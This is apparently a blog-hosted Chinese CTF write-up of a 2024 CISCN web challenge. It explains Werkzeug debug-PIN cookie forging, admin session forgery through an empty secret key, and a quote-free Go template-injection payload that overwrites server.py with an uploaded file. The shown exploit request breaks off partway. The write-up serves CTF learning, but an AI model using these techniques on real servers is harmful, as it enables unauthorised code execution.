[2024CISCN]国赛初赛WEB题目复现_2024国赛初赛unzip题目复现

codeprobably_public_bits = [
     username,  # 当前的系统用户名
     modname,  # 应用模块的名称
     getattr(app, "\_\_name\_\_", type(app).__name__),  # 应用的名称
     getattr(mod, "\_\_file\_\_", None),  # 应用模块的文件位置
 ]

  1. 收集私有信息: 这些信息被视为更加私有,并且不太可能在没有验证的调试页面中被公开。这增加了攻击者猜测cookie名称的难度。
private_bits = [str(uuid.getnode()), get_machine_id()]

其中uuid.getnode()返回机器的硬件地址(MAC地址),而get_machine_id()返回特定于平台的唯一ID。
4. 哈希所有的信息: 将所有上述信息串联并进行哈希,得到一个SHA1哈希值。

codefor bit in chain(probably_public_bits, private_bits):
     if not bit:
         continue
     if isinstance(bit, str):
         bit = bit.encode("utf-8")
     h.update(bit)
h.update(b"cookiesalt")

这里,chain(probably_public_bits, private_bits)函数将公开信息和私有信息合并为一个序列,然后这个序列中的每一项都被加入到哈希中。

h.update(b"cookiesalt")添加了一个额外的“salt”值,以确保最终的哈希值是独特的。
5. 生成cookie名称:

cookie_name = f"__wzd{h.hexdigest()[:20]}"

将哈希值转换为16进制的字符串形式,并从中取出前20个字符。然后,它前面添加了"__wzd"前缀来生成最终的cookie_name

再通过查找cookie_name关键字,找到set_cookie方法

通过观察可知,cookie的值是通过时间戳+pin码的hash,由"|"符号拼接而来的

再去看看验证逻辑

    def check\_pin\_trust(self, environ: WSGIEnvironment) -> bool | None:
        """Checks if the request passed the pin test. This returns `True` if the
 request is trusted on a pin/cookie basis and returns `False` if not.
 Additionally if the cookie's stored pin hash is wrong it will return
 `None` so that appropriate action can be taken.
 """
        if self.pin is None:
            return True
        val = parse_cookie(environ).get(self.pin_cookie_name)
        if not val or "|" not in val:
            return False
        ts_str, pin_hash = val.split("|", 1)

        try:
            ts = int(ts_str)
        except ValueError:
            return False

        if pin_hash != hash_pin(self.pin):
            return None
        return (time.time() - PIN_TIME) < ts

不难看出,由于时间戳是明文,所以伪造一个大一点的时间戳即可绕过检验。因为hash算法就在代码里,所以下后面就是如何找出伪造pin码的几个要素。

一般来说,需要通过报错来获取信息,但是不管对name怎么fuzz,由于传参限制都无法报错。看了其他师傅的wp后才发现,可以使得name参数为空来报错。。。。

报错信息中,有用的除了一些路径外,值得注意的是这几行

File "/app/server.py", line 7, in index
 
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args['name']
    return name + " no ssti"
 
if __name__ == "\_\_main\_\_":
    app.run(host="127.0.0.1", port=5000, debug=True)

无法ssti,也没什么用。

又坐牢了一段时间,无奈之下又只能瞅一瞅师傅们的wp,好家伙,原来SESSION_KEY是空的,逗人玩呢。

那就修改一下Admin的路由,用来获取admin的session

session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)

拿着伪造的session去访问靶机的admin路由,提示我们用ssti,那就ssti

经过检验确实存在ssti,但这里不是python的ssti,是go的ssti,网上大多提到了{ {.}}来获取全局变量,但对这道题来说没什么用

换个思路,既然ssti是代码执行的话,那就用go来进行RCE不就行了

但是xssWaf := html.EscapeString(name)会转义引号,所以payload里不能用引号,寻找思路类似于PHP的无字母数字RCE

前面通过session伪造pin的思路不对或者太麻烦(因为没找到能不用引号的payload),思路转换为替换server.py文件,需要用到以下几个方法:

c.SaveUploadedFile(file *multipart.FileHeader, dst string)

保存上传的文件

c.FormFile(name string)

获取上传的文件

c.HandlerName()

获取正在处理的路由的处理函数名称,这里为main.Admin

c.Request.Referer():

获取Referer头

构造以下payload

c.SaveUploadedFile(c.FormFile(c.HandlerName()),c.Request.Referer())

最终HTTP请求体

GET /admin?name=%7b%7bc.SaveUploadedFile(c.FormFile(c.HandlerName())%2cc.Request.Referer())%7d%7d HTTP/1.1
Host: d5d0420f-1268-449d-a3df-00307c395edd.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows 
  • 31
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值